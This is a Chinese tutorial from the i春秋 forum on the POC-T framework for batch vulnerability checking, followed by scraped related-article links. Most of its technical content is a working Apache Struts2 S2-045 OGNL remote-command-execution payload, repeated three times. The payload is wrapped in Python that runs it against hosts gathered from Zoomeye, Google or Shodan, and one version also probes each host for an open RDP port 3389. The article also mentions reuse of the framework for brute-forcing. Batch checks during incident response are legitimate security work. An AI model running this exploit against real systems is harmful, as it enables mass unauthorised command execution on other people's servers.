漏洞应急响应之批量poc验证
1.文章难易度 【★★★】
2.文章知识点: python,poc验证;
3.文章作者: 野驴
4.本文参与 i春秋学院原创文章奖励计划,未经许可禁止转载!
0x01前言
当互联网爆出高危漏洞,或者团队内部挖到0day,无论甲方还是乙方都需要了解漏洞的影响面,这个时候就需要poc批量验证,包括网络安全爱好者对“批量”这个词一定不会陌生,我们今天就来聊聊“批量”那些事。目前,有很多优秀的poc批量验证工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)发过pentestdb中也集成了这个功能,比较经典的还有pocsuite,pocsuite、zoomeye、seebug一条龙服务可以说是业界良心,pocsuite需要按模板要求使用Pocsuite指定的函数,这样的优点在于可以在HTTP请求层面直接做控制,从而支持“全局代理”,“全局随机UA”等功能,同时保证了脚本的稳定性与规范性,对于不懂验证逻辑的客户或运维人员,直接运行脚本即可。但总感觉太重了,不够自由,比如输出的内容等,不能自由设置。那么有没有一款可以引入第三方库,不需要任何模板和继承。这样既能够扩展其功能,又能保证效率的最大化,不用每次写脚本都查文档格式,一个脚本一行命令,三五分钟即可完成任务的这样一个poc验证框架呢?这就是今天给大家推荐的POC-T。
0x02 简介及安装使用
批量验证要解决的三个关键点:
数据:数据怎么来?
处理:逻辑是什么?
并发:如何实现?
POC-T就是按照这样的思路设计的



安装也很简单,这里不占用篇幅
git clone [url]https://github.com/Xyntax/POC-T[/url]
pip install -r requirement.txt
python POC-T.py

0x021 数据怎么来
数据来源很丰富,也很贴心。包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中设置,谷歌还支持代理,以便扶墙,是不是很贴心,参数–limit来限制搜索数目。其他来源参考帮助。

0x022 处理逻辑是什么
逻辑验证也就是poc,在script已经有很多作者维护的poc脚本,可以利用参数–show来列出poc脚本名

加载用参数–s poc名
0x023 并发如何实现
并发的实现作者自己的框架,我们作为使用者不必太纠结原理,只要知道支持多线程(-eT)Gevent(-eG)两种并发模式就可以了。POC-T的效率非常之高,根据笔者测试,设置线程为30(默认10),测试2000+个目标不到3分钟就可以完成。
最后的命令格式大概是这样子
Python POC-T.py –s poc –aZ “port:22” –limit 100
Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080”
Python POC-T.py –s poc –iS http://host//login.php?id=1
Python POC-T.py –s poc –iF /root/pentest/vul.txt
0x03 poc脚本编写
这也是本文重点关注的,为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。

网上爆出的验证代码为
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写
import urllib2[/size][/font]
[align=left][font=宋体][size=3]from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request,timeout=5)
body = response.readlines()[0:2]
except:
return False
if "nMask" in body:
return Ture
else:
return False
建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:
def poc(input_str)
try:
...全部脚本逻辑...
except:
return False
就是这么简单,在运行时框架的每个线程都会调用poc()这个函数,并把目标url复制给poc()函数。然后我们来看看效果,我导入一个目标文本(每行一个url)。

POC-T还提供了具有通用性的脚本扩展工具.用于简化代码,提高PoC准确性,赋予脚本更多功能.这些工具位于plugin目录下,编写脚本时,可以使用from plugin.xxx import xxx直接调用,具体功能请查看原文件注释

继续以刚才poc为例,现在我们不仅想知道一个url是否存在s2-045漏洞,还想知道特定端口是否开放,比如3389、22端口,这样可以为我们下一步测试提供方便。那来看看扩展工具里有没有我们想要的功能。
在util.py中有这样一个函数checkPortTcp()只要有IP地址就可以查看相应端口是否开放

可传入的参数是url,不是IP地址怎么办,答案仍在util.py中,还有这样一个函数host2IP()可以把url转换为IP地址,真是要啥有啥。

我们的代码可以这样写
import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from plugin.util import host2IP
from plugin.util import checkPortTcp
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request,timeout=5)
body = response.read()
except:
body=""
ip = host2IP(url) #将url转化为IP
port = checkPortTcp(ip,3389) #检测3389是否开放
if "nMask" in body:
assert isinstance(port, object)
return url + "---" + "3389:" + str(port)
else:
return False

0x04 其他功能
如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例
爆破:/script/ brute-example.py
爬虫&采集:/script/ spider-example.py
旁站扫描:/script/ bingc.py
0x05 结语
看完本文,以后再有漏洞时,还用到处问“哪里有批量工具吗?”,自己动手,丰衣足食。但正因为POC-T的轻便、灵活,更需要我们的编码能力,因为所有的逻辑验证及输出都需要通过自己编码实现而没有现成的格式规范。
其他优秀的poc批量验证工具:
Pocsuite: https://github.com/knownsec/Pocsuite
Pentestdb: https://github.com/alpha1e0/pentestdb
s0m3poc: https://github.com/s0m30ne/s0m3poc
漏洞应急响应之批量poc验证的更多相关文章
- 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...
- 应急响应系列之OA被入侵挖矿分析报告
一 基本情况 1.1 简要 此事件是去年应急处置时完成的报告,距今有半年时间了.一直存在电脑里,最近准备完善应急响应中遇到的各类安全事件,这篇文章作为这一系列的开端. 对于 Linux 安全检查,个 ...
- Linux应急响应思路详谈
一.主机篇: 1.自动化初筛,建议使用RootkitHunter (1)安装 $sudo wget https://jaist.dl.sourceforge.net/project/rkhunter/ ...
- Linux与windows的应急响应重点检查项
Linux应急响应重点检查项 用户账号审计: cat /etc/passwd & cat /etc/shadow 在线账户审计: w 登录状况审计: last 空口令账户审计: awk -F: ...
- 【应急响应】Windows应急响应入门手册
0x01 应急响应概述 首先我们来了解一下两个概念:应急响应和安全建设,这两者的区别就是应急响应是被动响应.安全建设是主动防御. 所谓有因才有果,既然是被动的,那么我们在应急响应的时候就得先了解 ...
- Linux安全事件应急响应排查方法总结
Linux安全事件应急响应排查方法总结 Linux是服务器操作系统中最常用的操作系统,因为其拥有高性能.高扩展性.高安全性,受到了越来越多的运维人员追捧.但是针对Linux服务器操作系统的安全事件也非 ...
- Windows应急响应常识
Windows 应急响应 常见事件ID 1102 清理审计日志 4624 账号登陆成功 4625 账号登陆失败 4672 授予特殊权限 4720 创建用户 4726 删除用户 4728 将成员添加到启 ...
- Window应急响应(五):ARP病毒
0x00 前言 ARP病毒并不是某一种病毒的名称,而是对利用arp协议的漏洞进行传播的一类病毒的总称,目前在局域网中较为常见.发作的时候会向全网发送伪造的ARP数据包,严重干扰全网的正常运行,其危害甚 ...
- Window应急响应(一):FTP暴力破解
0x00 前言 FTP是一个文件传输协议,用户通过FTP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护.日常源码备份等.如果攻击者通过FTP匿名访问或者弱口令获取FTP权限,可直接上传 ...
随机推荐
- 【FZSZ2017暑假提高组Day1】确定小组
[问题描述] 有n个人坐成一排,这n个人都在某一个小组中,同一个小组的所有人所坐的位置一定是连续的. 有一个记者在现场进行采访,他每次采访都会询问一个人其所在的小组有多少人,被询问的每个人都给出了正确 ...
- Balls(扔鸡蛋问题)
4554 BallsThe classic Two Glass Balls brain-teaser is often posed as:“Given two identical glass sphe ...
- 一分钟搭建Spring Boot
1.首先你的电脑需要安装jdk.Apache Maven.Intellij IDEA 2.新建项目 (敲重点,有的同学有没有Spring Initializr 这个请到本文章后面看安装步骤) 3.选 ...
- PAT甲级
https://www.cnblogs.com/jlyg/p/7525244.html 哇咔咔,瞧人家都刷完甲级130道题了,哼,有什么了不起的,考前刷完,再刷的比你多,哼,照样吊打. 沙耶加油! 一 ...
- MySQL中的重做日志(redo log),回滚日志(undo log),以及二进制日志(binlog)的简单总结
MySQL中有六种日志文件,分别是:重做日志(redo log).回滚日志(undo log).二进制日志(binlog).错误日志(errorlog).慢查询日志(slow query log).一 ...
- 吴裕雄 python深度学习与实践(16)
import struct import numpy as np import matplotlib.pyplot as plt dateMat = np.ones((7,7)) kernel = n ...
- MySQL数据库的基础学习
1.什么是数据库 用来存储数据的仓库,简称数据库; 数据库可以在硬盘和内存中存储数据 数据库存储数据的本质: 通过文件来存储数据 2.数据库存储数据与文件存储的区别 (1).一个文件仅仅只能存储在一个 ...
- db2常见命令
增加db2top命令的refresh间隔,默认值为2秒,下面的命令就可以每10秒刷新一次: $ db2top -i 10 -d sample 数据库本身太繁忙(dynamic SQL过多).建议增加 ...
- 【Nodejs】Nodejsの環境構築
参考URL:http://www.runoob.com/nodejs/nodejs-install-setup.html Windowにインストールする方法を紹介します. ▲ダウンロードURL:htt ...
- 深度学习中Dropout原理解析
1. Dropout简介 1.1 Dropout出现的原因 在机器学习的模型中,如果模型的参数太多,而训练样本又太少,训练出来的模型很容易产生过拟合的现象. 在训练神经网络的时候经常会遇到过拟合的问题 ...